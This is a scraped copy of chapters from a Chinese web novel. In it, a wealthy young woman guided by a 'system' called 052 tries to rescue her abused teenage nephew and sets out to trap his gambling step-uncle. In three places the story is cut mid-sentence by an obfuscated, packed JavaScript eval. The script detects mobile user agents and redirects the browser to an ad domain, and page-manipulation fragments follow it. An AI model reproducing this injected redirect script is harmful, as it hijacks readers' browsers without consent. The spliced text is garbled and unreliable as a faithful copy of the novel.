“老子不捡又能怎样？”烟夹在指尖，他冲着陆季燃喷了口难闻的烟圈。 陆季燃攥紧拳，手臂肌肉紧绷，正欲盯着人瘦削发黄的脸颊送上一拳。 “干嘛呢干嘛呢。”手电筒的光明晃晃地照过来，刺得人眼睛快睁不开，“大晚上打架斗殴，想进局子啊。” “妈的，又来个多管闲事的。”黄毛头吐了口痰，“今天什么运气？” 等黑暗处拿手机打灯的人影清晰起来，黄毛说：“美女，这没你事，赶紧滚。” “不会啊。”池又青欠欠的，“你滚一个，教教我？” 黄毛气得，手中烟往地上一砸，作势朝池又青走来。 陆季燃立刻挪步挡在池又青面前。 池又青抬手轻拍他肩膀，见陆季燃倒吸口痛气，心里叹声，绕过他，一张脸波澜不惊，甚至有些挑衅：“想动手啊？小龙就是这么管你们的？” 黄毛怔住：“小龙……？你、你认识龙哥？” “你觉得呢？”池又青清声呵斥，“他见了我都得喊声干妈，你们胆子倒是挺大！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122625|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黄毛心下大惊！ 他是听说龙哥最近认了个干妈，一富得流油的寡妇，没想到现在就能碰上。 原来干妈这么年轻？ 正狐疑打量，眼看这干妈掏手机要联系龙哥，黄毛立刻跪滑。 “干妈，对不住啊。”他恭顺地道歉，“是我们有眼不识黄山……” 跟班：“老大，那是泰山！” “……”黄毛回头瞪人，词哽一瞬，又转头赔笑，“不管是什么山，今天都是我们的错，实在对不起啊干妈。” 池又青敷衍地嗯了一声，下巴轻抬：“这我侄子，跟你们龙哥一辈的，下次碰见长点眼睛。” “是是是！” “还愣着干嘛？捡东西啊。” “诶！” “刚丢那烟，踩灭捡起放垃圾桶去。” “……好！” 黄毛一边听令干活，一边欲哭无泪。 他就多余路过时踹那一脚！ 现在可好！居然在这捡垃圾！ 他贱啊！ 三人动作还算麻利，很快把弄散的塑料瓶都收齐进袋子里。 “走吧。”池又青大发慈悲地发话，“下次注意点。” “放心吧干妈！”黄毛见脱身在即，大喜，领着小弟朝池又青鞠躬，转头就跑。 仨小伙瘦得，统一穿黑色紧身裤的六条腿在巷道里挪动，就跟六根筷子似的。 人消失，见陆季燃盯着自己，池又青莞然而笑：“怎么？我长得不像能给人当干妈的样子？” 052吐槽：【宿主，就算出门在外身份是自己给的，你这身份也太多变了吧。】 池又青：【管用就行，还得谢谢你给我看了眼这黄毛的背景。】 052：【……然后你一目十行，张口就来是吧？】 “小陆啊，人有三急，这老了就是憋不住。谢谢你帮我守着啊。”佝偻着腰背的阿婆忙地从公厕附近走出来，“我刚刚听外面吵吵闹闹，没出什么事吧？” “没有。”陆季燃把废品袋子拎在手里，“阿婆，很晚了，我送你回去吧。” 阿婆讲话时露出空荡荡的门牙缝：“不晚不晚，我再去那小吃摊捡几个瓶子，我家小孙女啊，明年上小学，花钱的地方多着呢。倒是你，我今天听楼上又有声音，董旭那混账又对你动手了？” 陆季燃：“没有。” 他跟老人讲话的时候很乖，挨着回答：“不小心翻了个柜子，阿婆，没事的……脸上？不是，是今天在学校跟人打了架。” “你这孩子！”阿婆嗔怨，担心提醒，“可不能这样随便和人动手啊，万一哪天真出什么事……” “这位是？”阿婆打量的目光落在池又青身上，“我刚听外面干妈长干妈短的，小陆，你干妈啊？” 池又青扑哧一笑。 “阿婆，我是陆季燃的小姨。”她跟老人说话的时候屈膝弯腰，语气温和，“今天过来接他，他不乐意跟我走，阿婆，您帮我劝劝吧。” 阿婆被皱纹盖住的眼睛炯炯有神：“傻小子！这有什么不乐意的！去哪都比待这强吧！” “孩子她小姨。”阿婆惯性想伸手拉住池又青讲话，低头一看自己的手乌黑，停了动作。 池又青搭手回去，冲她笑。 阿婆心里一暖，拍拍她的手背，跟她说：“自从小陆这孩子搬过来住我们楼上，也有好几年了。我跟你说吧，他那个舅舅，真不是个东西！” “阿婆。”陆季燃低声唤。 阿婆叹口气，握紧池又青，只说：“带走吧，你快把这孩子带走。” 池又青：“好好好，我保管带走，您放心。” 她灿烂应答后看向陆季燃。 少年别过头，不作一声。 7.第7章 吉安小区外的街道，棋牌室摆在路边的空桌椅上，池又青把一袋子的东西拿出来。难得耐心的挨着介绍用处，又把东西推到坐在对面的陆季燃面前。 池又青：“等会记得自己弄弄。” 陆季燃抗拒：“我不用。” 池又青：“怎么不用？脸上留疤难道很帅吗？” 知不知道你以后是要靠脸吃饭的啊弟弟，我这是在保你的财路！ 见陆季燃眉头又皱，还要再说什么，池又青直接敲板：“别废话啦，东西拿走，记得上药，你不上，我现在就在这给你上。这么看我做什么？都买好了呀，不用也是浪费。” 陆季燃转过头去，抿紧唇。 池又青：“带身份证了吗？” 陆季燃警惕：“没有。” 池又青好气又好笑：“什么眼神？我能把你拐去泰缅？” 她低头拿出手机搞鼓了会，举起来给陆季燃看，“这家民宿你觉得如何？我给你订一间，这两天你可以自己去这休息。我住的酒店离学校太远，你上课不方便。” 池又青：“微信有吗？我加你，订好后把地址和入住密码给你。” 陆季燃还是那两个字：“不用。” 池又青：“又不用？都这样了，你不会今天还打算回家吧？” 她看着少年脸上的伤，又瞧他别扭的坐姿。 不知道这家伙身上还有多少处淤青伤痕。 陆季燃低头看着自己沾了泥水后泛黑的球鞋，明显是在逃避对话和沟通。 池又青暗自咬牙。 【油盐不进。】池又青跟系统骂，【你能不能管管他？】 052汗颜。 池又青没打算从系统那得到什么回应，她只是需要途径发泄一下。 她从来都不是什么好脾气的人，她妈说她连撒娇有求于人时都很没耐心。撒一次不达目的，勉强能撒第二次，若是再不成功，她就会倒打一耙，反客为主找对方麻烦。 现在她能坐在这里好声好气地跟陆季燃说话，已经创下她人生崭新记录。 她本来觉得这侄子毛病虽多，但对老人态度很不错，情况又的确可怜，便真动了几分恻隐之心。 现在嘛…… 她只想拎包转身走人，谁管陆季燃未来会怎样呢？就算他滚回去再被打一顿，也跟她没关系。 夜里忽然起风，街边的树叶被刮得沙沙作响，池又青搓了下手臂，没好气地跟陆季燃说：“那随你，我先回了。” 陆季燃竟松了口气似的，说：“嗯。” 池又青：“……” 她当场冷笑出声，在手机上打车，对052说：【我要是今年体检查出乳腺结节，麻烦给我报工伤。】 052积极保证：【不会的不会的！宿主！只要任务完成！你和阿姨的身体，包健康的！】 池又青：……？ 她想听的是这个吗！ 池大小姐什么时候受过这种冷遇？但凡拿这个态度跟她讲话的，通常都不会跟池又青有第二次见面机会。在这一点上，她很擅长照顾自己。谁让她不舒服了，她就让谁滚。 偏偏陆季燃不行。 上班真不是人干事。 池又青冷脸坐在位置上等车，这次她打得急，没挑。快车司机来得很快，池又青同陆季燃说：“我走了。” 陆季燃没说话，看着他那张疏离的脸，池又青心里生出一种在大润发杀了十年鱼的感觉，又冷又烦。 凑近看，对方脸上的伤痕更加怖人。 她低头从包里翻出一叠现金，放在桌上，没好气地说：“去哪都行，别回家挨揍。” 陆季燃愣了下，低头看着桌面上的红色钞票。 再抬头，池又青已拉开车门往里钻，向师傅报尾号。 咚咚。 陆季燃拿着钱敲窗，又去拽车门，一看就是打算还钱。 池又青按下反锁，催师傅：“快走吧师傅，别理他。” 客户为大，师傅一按喇叭往前开。 池又青哼了一声，心里一点都不高兴。 烦死了烦死了。 原著作者怎么想的啊？这种倔种真的会有女生喜欢吗？ 车缓缓行进，师傅在感慨：“小姑娘，你弟弟真懂事。” “什么东” 话截然而至。 池又青转头向后看，少年瘦削的身影一直在尾灯之外。他站在嘈杂昏暗的街道边，黑色的吉他包就挎在肩上。 属于药房的塑料口袋挂在他另外一只手的指尖，白色在夜里明显。 直到车辆驶出这条小道，陆季燃的身影才被拐弯处的建筑物吞掉。 池又青收回目光。 师傅开了个话口，欲和她攀谈，她张嘴就编：“噢，那是我儿子。我老公？大哥，别提啦，上次他跟我在家里打架，现在还躺医院里呢。” 寥寥数语就让司机歇去闲聊心思。 获得安静空间后，池又青看着窗外变换的街景，跨出城中村地带，走上大桥。 江城绕江而筑，江面宽且阔，远处的岸边灯带闪烁，忽明忽暗间，陆季燃那张面对她倔强又沉默的脸在她脑海里闪过。 按照系统给出的任务攻略建议，在陆季燃面前刷好感以待他主动跟自己离开是没指望了。 效率不高，从目前的情况来看，成功率也一般。 找陆季燃他爹和后妈谈养孩子的事？麻烦。池又青蹙起眉，她可不想趟陆家这趟浑水。还是从他继舅身上下手方便。 池又青拨弄着手机壳上的挂件，若有所思。 池又青：【052，陆季燃他舅舅的资料你有吧？给我看看。】 052：【有！宿主，请稍等。】 【宿主，你要开始行动了吗！你打算怎么办！是采取法律的手段制裁他，还是和他交涉沟通陆季燃的去留问题！】 池又青哎呀一声，浏览着董旭的资料，不知瞄到哪一行，用灵光一现的语气同052说：【哪用那么麻烦~】 见她嘴角忽然噙起狡黠笑意，052忍不住打了个寒战。 【宿主，你想做什么啊？】 【明天你就知道了。】池又青心里已有计划雏形，【到时候如果有用得上你的地方，你得帮我。】 052：【？？？】 它试探着问：【具体是指什么地方呢？】 池又青：【我再想想，到时候告诉你喔！】 这轻快的语气，这兴奋的表情。 052拿统格担保，这女的，绝对又在打坏主意！ * 吉安小区。 陆季燃上三楼，弯腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126575|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从鞋垫下掏出钥匙。开锁后，满屋的酒气扑面而来。客厅荒芜一片，桌椅散乱在地上，摔碎的玻璃杯躺在角落，无人收拾。 他特地每天扛上楼防偷的自行车也倒在一旁，车头歪歪扭扭，被人拧断脖子一样，宣告退休。 没换鞋，陆季燃直接跨过一地狼藉，走进最小的次卧。 进屋后，反手锁了房间。 将吉他包妥帖安放进柜子里上锁，把一袋子药物放在廉价书桌上，陆季燃踢掉球鞋，放任自己倒在床上。 他跑出去的时候着急，没带手机，往枕头边一摸，点亮屏幕，消息列表里全都是白盛飞和袁源的消息。 不孝有（3） 孤白：我真服了，回家就先挨一顿批，老周也真是的，家长会上非要cue我，说我热心肠，不仅爱帮咱们班女生，还喜欢到处伸出援手。 孤白：我妈一回家就揪着我耳朵问我是不是皮又痒了，想跟小学一样给全班女生写情书。 孤白：不是！兄弟！评评理！ 孤白：我乐于助人有错吗！ 孤白：？？？ 孤白：人呢？怎么都不理我！ 孤白：@爱吃肉 @R 我爱吃肉：刚吃了碗炒饭，晕碳，回家睡着了，现在才醒。 孤白：妈耶。 孤白：能吃又能睡，你真的是猪。 后面白盛飞和袁源又聊了些乱七八糟的消息，侃完一圈大山，白盛飞发现陆季燃还没回，又在群里艾特。 R：1 陆：打游戏，没看见。 孤白：陆哥玩啥呢，一起啊。 R：已经下机回家，下次吧。 他把手机放下，想起什么，伸手往衣兜里一摸。 一张皱巴巴的鉴定结果等待通知单掉出来。 厚厚一叠百元钞票崭新发亮且连号，像是刚从银行取出来。 池又青担心他回家挨揍，但事实上，董旭一天最多打他一次，因为打人也是件力气活。 陆季燃已深谙这规律。 今天董旭已经揍过他一次，不会再有第二次。 他把钱塞回口袋，又坐起身，翻箱倒柜找半天，拿出一个沾灰的钱包，将新票子整整齐齐地放了进去。 原本瘪瘪的钱包一起鼓起来，这种满满当当的感觉，跟这贫瘠单调的房间格格不入。 随手拿起桌面上不知道哪来买回来的矿泉水，还剩一半，他捏着瓶盖两下拧开往嘴边凑，被揍到的地方传来撕裂红肿的痛感。 陆季燃皱了下眉，对此习以为常，两口就将水吨完。 余光瞥见丢在桌上的药。 女人认真的叮嘱在耳畔回响。 “你这个呀，要先用双氧水或者碘伏消毒，我两个都买了，你看你习惯用哪个。然后再用生理盐水冲洗，涂生长因子凝胶。你用过吗？就是这个，还有啊……” 陆季燃敛眸，轻声说：“好吵。” * “早啊，大侄砸。” 往公交站走的陆季燃手里拎着的空书包一荡，脚下刹住，往旁看，一辆夸张的红色跑车正停在路边。 早上七点二十，晨光熹微。 驾驶位上，昨夜对他絮絮叨叨的人正冲他挥手，声音张扬又自信。 “上车呀，小姨送你去学校。” 8.第8章 陆季燃在原地默了三秒，感受到路边扫地大爷大妈看过来的八卦目光，反手将书包拽到身前，拿出背包里的黑色耳机，毫不犹豫地戴在头上。 他什么都没听见。 兀自向前走，那车就慢悠悠地跟过来，颇有毅力地在他身边发出发动机的轰鸣。 陆季燃脚下一刹，车也跟着停下。 他转头看过去，女人微笑的表情里写着‘你不上车我就会这样跟你直到永远’。 陆季燃有些头疼。 他摘下耳机，走近路旁，站在车边，眉眼都是不耐：“你干嘛啊？” 池又青答：“我说了呀，送你去学校。” 陆季燃毫不犹豫：“不用。” 池又青诶了一声：“可是我想。” 陆季燃：“……” 池又青：“坐公交也行，我可以停在这陪你。等车来了，我就跟在车后，护送你到学校。怎么样，少爷？” 陆季燃咬紧后槽牙，手碰上后排把手。 池又青甩过来一记眼镖：“少爷，真当我是司机？坐前面呀。” 陆季燃深呼吸一口气，拉开副驾驶的门。 池又青满意地笑起：“系安全带，你手旁那挂钩，看见没？给你带的早餐。不知道你喜欢吃什么，中式西式都带了些。” 陆季燃低头看着手边的打包袋。 小笼包、牛奶、切块三明治…… 陆季燃想不通，偏头去看终于正常地在道路上行驶的池又青。 她目不斜视地说：“又想问我要做什么？陆季燃，我从一开始就和你说了呀。因为某些原因，我必须要照顾你。这是我要做的事。至于你愿不愿意接受，这是你要考虑的事。” 池又青：“早餐真不吃？” 陆季燃把保温袋挂回去，别过头看窗外：“不饿。” 池又青说了句好吧，没再多劝。 一反常态的容易放弃，搞得陆季燃转回头狐疑地看了她一眼。 池又青目不斜视，稳稳开车。 【052，从任务的发布内容来看，只写了让我给他送早餐，他吃不吃不在任务要求范围内，这么看，我该是完成任务了吧？】 没等052回答，她就听到叮地一声脆响，任务奖励到账。 事情还要从昨夜她心生一计决定对付董旭说起。 回酒店后，她跟052讨论任务经费问题，陆季燃这么大个呢，她总不能一直自掏腰包养这样一个不熟的人吧？她是有钱，但钱也没这么白花的道理。 同系统来回battle好几轮，终于哄骗，阿不，争取到报销。 052也学坏，拿这事变着法安排她。 一大早就让她来给男主送早餐，一是督促她和男主接触，二是按照原著，男主长期不吃早餐在未来得有胃病，会在剧情中影响到某次关键考试的发挥，所以未雨绸缪，提前防治。 池又青心想，就陆季燃那寒碜的几分，发不发挥都没差。 不过看在送一次早餐就能增加当前任务10%报销比例的份上，池又青把所有腹诽全都收回肚子里，愉快地接了任务。 一路上，二人无言。 红色跑车着实有些引人注目，尽管是在天还没透亮的现在，陆季燃也察觉出，有不少人经过时都会或好奇或无言地明看偷看。 再过两个路口就是学校。 陆季燃赶紧说：“就停这吧。” 池又青怎么会不知晓这小子心里打的什么主意？她方向盘一转，临边靠着，在陆季燃试图下车时，啪嗒锁住车门。 陆季燃回头错愕：“？？？” 池又青明目张胆地威胁：“电话给我。” 陆季燃不乐意。 池又青说：“要么我就送你到校门口，鸣笛三声，让同学都来看看。” 陆季燃濒临炸点：“你——!” 池又青冲他眨眨眼，手碰上车档，眼看就要启动汽车继续往前，陆季燃绷紧唇，从兜里把手机掏出来。 很旧的款式，屏上碎出几片雪花，池又青示意陆季燃解锁，当着他的面，存好自己的号码，又加上微信。 还手机的时候，池又青余光瞄到陆季燃脸上的淤青疤痕：“怎么样？昨天教你的办法管用吧。” 陆季燃当即说：“谁用了？我没用！” 池又青：“诶？可是你脸上还有贴敷料的痕迹，早上起来摘纱布没弄干净？” 陆季燃下意识伸手往脸上抹。 见到眼前人笑得白牙都乐出来，他明白自己又被骗。 喷火龙已经蓄势待发，他不高兴地说：“开门，我要下车。” 池又青解锁全车车门，瞟眼无人问津的早餐保温袋：“早餐真不吃？那我待会就拿去丢了。” 陆季燃压抑着躁意：“不吃。” 嘴上这样说，下车的时候，他顺手将袋子拎起。 池又青：“呀？” 陆季燃最烦的就是她这种表情，一脸看好戏且有种‘小样我还不知道你’的意味在里面。 他丢下一句‘我拿去喂狗’，拽着书包就逃似的离开，脚程极快，仿佛后面有鬼在追。 池又青不解，问052：【他跑什么？我看起来很吓人吗？】 052委婉地说：【宿主，男主正处于青春敏感期，情绪多变，你多担待。有的时候也可以考虑转变一下行事方式，讲话态度……你，懂我意思吧？】 嘴上这么说，旁观全程的052在心里哑巴大叫。 别人都是等一场入室抢劫的爱。 她可好！ 分明就是一个入室抢劫的姨！ 系统这话池又青听得很不是滋味。 她放着大好日子不过，推掉所有计划，脱离自己的人生预计轨道，挥别南美的阳光沙滩，跑来这么个破地方忙前忙后当冤大头，成天热脸贴冷屁股。 她也青春敏感，她也情绪多变，谁来担待她啊？ 池又青知道，要不是052绑错人，她根本没有挽救妈妈生命的机会。等待她的，或许只是一纸如原著般出现的病危通知书。 从这个角度看，她该对052予取予求才对，指哪打哪，毫无怨言，感激涕零。 毕竟系统手里握着的可是她妈的命啊！ 按这个道理，她是该鞍前马后，把陆季燃和系统捧着奉着，为了任务鞠躬尽瘁死而后已。 不过，池又青再一想，她妈这突如其来的病魔怎么看都怪原著作者的神经一笔吧？ 她妈的生死不过是纸上一行，她所在的世界不过是他者的构建。 不爽。 池又青对此很不爽。 故而，面对被系统错绑这事，她情绪十分复杂。既有庆幸，又有羞恼。她的个性让她不甘当系统傀儡，却又不得不接受安排。 这是她自己的选择，池又青认。 所以她一而再再而三地给自己洗脑：这就是上班。 这世界上大多人，终其一生，本本分分用自己的劳动换取生活的本钱，为活下去而努力。 她已经足够幸运，投胎命好，不用吃这苦，如今折腾完这阵，换来的更是妈妈健康。 千金也买不来的东西。 池又青吐出心中郁气，把自己的情绪调理一遍。 大小姐脾气被镇压，理智重新占据主导。 对她来说，完成任务是第一目的，至于陆季燃的情绪？系统说得没错，她是没那么在乎。说到底，她跟陆季燃不过见了几面，只是有点血缘关系利益关系的陌生人。 她说：【行，我懂你意思了，我下次注意。】 * 陆季燃拎着早餐袋走进学校时，周围都是悄然打探的目光。 他冷着脸一气呵成爬上五楼，推开十八班教室后门。 他们班没人乐意来早读，教室里人不多，零星几位同学正坐着吃食堂买的包子馒头。 陆季燃拉开最后一排的椅子，放下书包就往桌上趴。 “陆哥，昨天到底是咋回事啊？”男同学刘钊凑到他的桌边，问，“我可听说了，有个漂亮小姐姐来给你开家长会。陆哥，都是兄弟，这演员哪请的？联系方式有没有，分哥们一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131923|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，下次我也去请请。” 哐。 陆季燃一脚踢开前排的椅子，抬头，盯着刘钊：“关你屁事，还有，谁跟你是哥们？” 刘钊吓得一缩，往后退两步，靠着另外一排的桌旁，没再敢说话。等陆季燃继续趴回去，他才悄悄翻了个白眼。 也就白盛飞和袁源天天捧他臭脚，没爹没妈的东西，拽什么拽？ 刘钊打心里不喜欢陆季燃，但不妨碍他不敢当着陆季燃的面展露这些情绪。 昨天家长会和李毅被警察带走那事显然在一夜过后，更为发酵，已成为江城九中头条。 陆季燃作为事件中心，已被同学来来回回问了好几遍。 他什么都不说，阴沉着脸，同学们只好各自缩回自己的小圈子里，私下八卦。 “陆哥陆哥！你又火了！我一路来都听见大家在讨论呢！”猴一样的声音，陆季燃被吵得脑仁发疼。 白盛飞在他前面坐下，眼尖地瞄到搁在地上的袋子：“陆哥，这什么啊？” 袁源鼻尖猛嗅两下，眼睛陡然一亮：“有吃的？” 陆季燃提到这事就烦不胜烦：“早餐。” 他看着袁源欲言又止的模样，讲：“你们吃吧。” 袁源哇塞一声，迅速拎起袋子，把里面打包的食物都拿出来。 70cm的小桌上瞬间被摆满。 袁源感觉自己一下来到了天堂。 “炒蛋火腿香肠甜甜圈……”他馋得吞了好几口唾液，“小米粥肠粉坚果哈密瓜……” “这也太特么丰盛了吧？”白盛飞啧舌，“陆哥，你昨天干啥去了？哪来的这些东西？” 袁源已左手面包右手卷饼狼吞虎咽起来，吐词不清地说：“好、好吃，太好吃了！” 白盛飞：“这世上有你觉得不好吃的东西？” 袁源瞪他：“你可以侮辱我！但不能侮辱我的味觉！我拿人格保证，这早餐绝对是GW才有的！” “那顶奢酒店啊？”白盛飞嘟囔，“陆哥没事去那干嘛？你就瞎扯。” 他顺手拿了块小三明治塞嘴里，兴致勃勃地说：“我跟你们讲，我今天又碰到女神了。” 陆季燃在手机屏幕上划拉的指尖顿住。 白盛飞：“我打车来的时候，看见辆红色超跑，又一瞧，你们猜怎么着？卧槽，开车特别帅一大姐姐！女神啊！这辈子要是能谈个这样的，我死也愿意！” 袁源已然懒得搭理。 经过昨日翻墙一事，他顿悟，在白盛飞口中，女神二字的含金量得大打折扣。 眼看白盛飞又要伸手拿三明治，陆季燃一把将外带包装盒拽走，递到袁源面前。 白盛飞：“……？？？” 他哀嚎：“老大！你什么意思！只给胖子吃！你偏心！！” 袁源嘚瑟一笑，问陆季燃：“老大，你不吃吗？” 陆季燃摇头，把他俩赶一边吃去，自己埋头倒进臂弯里，余光往桌下的手机一瞄，新加的名为youqing的好友，无任何消息传来。 指尖将手机往桌肚里一推。 陆季燃烦闷地抓了把头发。 他又看两眼，新消息弹出来。 是鉴定机构发来的加急报告。 「根据本次DNA检测结果，你与被检测对象存在半同胞亲缘关系，即三代以内的亲缘关系。」 * 下午，送完陆季燃就回酒店休息的池又青醒来。 见她在梳妆台前忙活，少见地画起浓妆，又穿金戴银，手指上的宝石闪闪发光。 052想不通：【宿主，你这什么打扮，我们这是要去哪？】 池又青不语。 四十分钟后，052看着面前挂着‘鼎盛茶楼’牌子的建筑，顿生不好预感：【咱姨，你是要去找孩子他舅吗？】 【来都来了，不得体验下江城的茶楼文化？】 说完这话，池又青拎着小包走进门店，见到前台第一句就是：“妹妹，你们这有会停车的吗？哎，我车技不行，外面那车，被我停得乱七八糟的。” 9.第9章 董旭昨日输了把大的，今天铆足劲，要重新找回场子。 人刚踏进茶楼，就见一楼的店面围满了人，他拽过一个相熟的牌友，问：“什么情况？” 牌友小声地同他说：“就半小时前，来了个富婆。还是我帮她停的车，门口那兰博基尼你看见没？红的那个。就是她的！打了一圈，我都搞清楚了。” “说是刚死了老公的寡妇，开什么网红公司的，来江城散心，手里有钱得很呢，出手阔绰。这不，现在打200的，就这点时间，都输了这个数了。”牌友夸张地比出四个指头。 董旭若有所思：“这样啊。” 他伸长脖子往人群中间挤。 052在池又青的脑海里着急：【宿主！你别出这张二筒啊，出了又得……】 “胡啦！”池又青的下家喜笑颜开，把手里的麻将墩子往前一推，全都摊开在桌面上，“池小姐，又只有你一个人没走掉。” 池又青哎呀一声，噘嘴抱怨：“怎么会这样？再来，再来。” 052那个急啊。 【宿主！别打了！这都输多少了！】 臭牌篓子一个！心比天高啊！ 池又青：【说好的报销，你想反悔？】 052：【……？？？】 052：【你打牌我为什么给你报销？！】 池又青有理有据：【我打牌是有目的的，是为了完成任务，所以这应该算是活动经费。】 052喷了：【你有什么目的？】 它是想不通了。 等牌桌换人，董旭赔笑着顶了上一位客人坐在池又青的对面时，052这才明白过来。 052：【你是计划以牌会友，跟董旭拉近关系，再想办法跟他商量男主的事？】 池又青：【商量？跟赌鬼谈商量，等于自投罗网。你信不信，他要真察觉陆季燃对我的重要性，能敲我一笔大的。】 【我是没所谓，反正你都报销。】池又青顿了顿，【要不我跟他商量商量试试？】 052：【……不用！】被董旭拿捏，它不如去吃屎。 池又青冲着董旭笑了下，做作地往后拨开肩头碎发，露出耳垂上的宝石。 董旭是识货的。 他妹妹小三上位，嫁给陆季燃老爹当后妈以后，他在妹妹身上也见过这种宝石。但是没眼前这女人耳上指尖的纯度高，也没这么大。 他在心里唾弃，又是个卖色求荣的，打扮俗里俗气，一股子暴发户味道。 面上半分不显，董旭摁下机麻清洗扭，静着脸等着开牌。 池又青的牌技很差，运气也差，出牌风格神秘莫测，毫无章法。 052算是见识到了它家宿主打牌到底有多烂。 又输两把后，它终于看不下去：【宿主，你别打了，你听我的，出这张。】 无人能见的小红箭头落在绿色幺鸡上。 池又青的手自那牌上轻轻滑过，选了放在一旁的六万。 052：【？？？】 052：【你存心的？等着我给你报销？？】 池又青不理它，专心打牌，但还是输得一塌糊涂。 清点结算时，她感慨：【我打牌是真烂啊！】 052：【。】你也知道啊。 “不打了不打了。”池又青把手里的牌往前一撂，闹起脾气，“今天风水不好，不打了。” 看牌的人里不乏懂的，见她这样，心知肚明，这位新客是输得太多，心里不高兴了。讲句真心话，以这人的牌技，风水再好，那是个输。 池又青下了麻将桌，去前台问：“妹妹，有没有别的娱乐项目啊？你们这就只有打麻将的？” “干妈！”二楼上下来个拎着热水壶的黄毛少年。 池又青：“……” 真是冤家路窄。 上次一别，小黄毛心有戚戚，乖巧地问：“干妈，你来这做什么？是龙哥他——” “没有。”池又青答，“无聊，我就过来玩玩。” 其实她也在庆幸。 还好她今天的人设也是寡妇，不然就露馅喽！ 小黄毛松了口气：“包我身上啊干妈，这茶楼就是我大姨开的，你今天想怎么玩都随便，茶水费免了！” 董旭在旁看着，心生一计。 自他刚刚上桌后已赢了三千，红票子揣在包里，勾得他心里的赌虫蠢蠢欲动。 “池小姐，你打扑克吗？”他问。 “扑克？”池又青转头看他，来了兴趣，“什么扑克？好玩吗？” 董旭说：“要不，玩两把试试？我们先玩小的，五块。” 池又青说好啊，又跟小黄毛讲，让他去忙。 小黄毛对董旭很眼熟，悄悄以有点事为由，拉池又青去一旁：“干妈，这人赌性大，手也不干净，你别跟他打。” 池又青出乎意料：“我还以为你乐得看我输钱呢。” 他们上次的见面可算不上愉快。 小黄毛涨红一张脸：“干妈，你怎么说也是龙哥的干妈，我怎么会这么想嘞？而且，麻将扑克这事，玩玩可以，但要是跟董旭那样的赌鬼一起……” 他叹了口气，说：“干妈，要不我给你重新找桌人吧？” “不用。”池又青说，“谢谢你的提醒，但我就奔着他来的。” 小黄毛见劝不动，也不再多言，拎着水壶离开的时候，看池又青跟董旭去包间，又叹口气直摇头两下。 包间里，一早跟董旭介绍池又青情况的牌友在，两人狐朋狗友多年，一个对视就懂彼此意思。 刷刷洗牌，几局斗地主下来，池又青有输有赢，脸上的笑意明显：“这扑克不错，打起来又快又轻松，比麻将好点。” “扑克玩法多。”董旭说，“池小姐你要是感兴趣，我还有很多玩法能教你。” “好啊。”池又青说，“等我再打几把这个。” 董旭乐呵呵地说好，一边洗牌，一边随口问：“池小姐虽然看着年轻，十八似的，但感觉很有作为啊，干什么工作的？” 池又青喝了口菊花茶，不甚在乎地说：“老头走得早，留了笔钱，现在开了个小公司。” 董旭：“公司？什么公司？” 池又青：“MCN机构，网红孵化。” 牌友：“直播跳舞那种？” 池又青拿起董旭发过来的牌，在手间慢悠悠的整理，点点头：“对，现在也拍点短剧。手下有几个网红，都是百万粉丝，还算过得去吧。” 董旭：“大老板啊！” 池又青笑笑：“谈不上谈不上，这两年刚起步呢，风口早过了，这行也不好做。” 她抽出一对压过上家的牌，顺着说：“早听说江城出美人，这不，这次来，一是为了旅游，二也是想着过来挑些好苗子。” “两位大哥要是身边有条件不错的年轻人，也给我推荐推荐啊，按中介提成算，分二位签约金额的五个点。” 有钱拿，牌友就积极许多：“池老板，你们这签人，一般多少起啊？” “一年十个以上吧。”池又青说，“具体还得看对方条件。” 牌友哎呀一声：“池老板，眼光放开些嘛，也别只看年轻人。你觉得我怎么样？不是我吹啊，以前追我的姑娘都从江南排到江北。现在也就是年纪大了点，但男人嘛，成熟点更有魅力不是？” 池又青笑笑，甩出一对王炸，压死他的牌：“可以啊，我安排 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董旭：“那加个微信？后面再有局，我们约你。” 池又青应下。 052担心：【宿主，你这到底是要做什么？我看出来你是在钓鱼了，但你这样，他会不会根本不上钩啊？】 池又青甜笑：【这就要靠你啦！我伟大万能的052系统sama！你要是能帮忙的话，他就一定会上钩哒！拜托拜托！】 052：【……】 好谄媚，好陌生。 好、恐、怖。 052：【我帮……你、你正常点。】 池又青嘟嘴：【哎呀，不是你让我转变的吗？这种的，你不喜欢吗？我还想以后就这样对陆季燃讲话，效果应该不错呢~】 052：【求你——】 它崩溃，它疯狂，它欲哭无泪！！ 052：【我错了，姨，咱正常点吧！！】 它怕池又青继续这样，它一天能被吓得死机好几次，陆季燃听见，更能连夜逃出江城。 池又青保持着夹子嗓：【啊？真不用转变了吗？】 052疯狂摇头：【不用不用不用。】 【可惜啦。】池又青说，【人家难得想听话一点诶。】 『叮』 『系统052已掉线』 